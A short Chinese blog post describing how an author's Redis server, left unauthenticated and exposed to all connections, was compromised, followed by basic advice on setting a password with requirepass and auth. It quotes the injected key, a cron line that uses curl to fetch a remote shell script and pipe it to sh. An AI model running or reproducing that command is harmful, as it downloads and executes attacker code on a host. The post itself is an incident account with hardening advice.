赞
踩
虽然Redis是有安全模式的,但是默认Redis没有开启密码验证,Redis被设计成仅有可信环境下的可信用户才可以访问。为了方便,在测试时直接将redis配置文件中的bind 127.0.0.1
给注释掉了,并且关闭了防火墙,导致redis实例会监听所有的连接,从而被攻击。如果灭有设置密码(或很简单)就很容易会被攻击到,导致数据丢失(一个FLUSHALL命令就会清空Redis的所有数据),被植入其他内容。
举个例子:我的被攻击后写入了一些其他内容如下:
查询一下某一个键的内容为如下形式:(不是很懂,应该被植入了一些脚本文件)
"\t\n*/20 * * * * curl -fsSL http://d.powerofwish.com/pm.sh | sh\n\t"
Redis提供了一个轻量级的认证方式,设置后,每一个连接在操作数据之前需要进行认证,密码由管理员在redis.conf的配置文件中明文设置,因为redis访问非常快,为了安全,密码一般较长且复杂,来防止暴力攻击。详细参考:Redis安全性
常用命令:
config get requirepass # 查询获取当前密码
config set requirepass 123456 # 将redis的密码设置为123456
auth 123456 # 进入redis之后,在执行命令之前需要通过此方式输入密码来验证
设置流程如下:
关于作者:
个人网站:http://beyonderwei.com
邮箱:beyonderwei@gmail.com
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。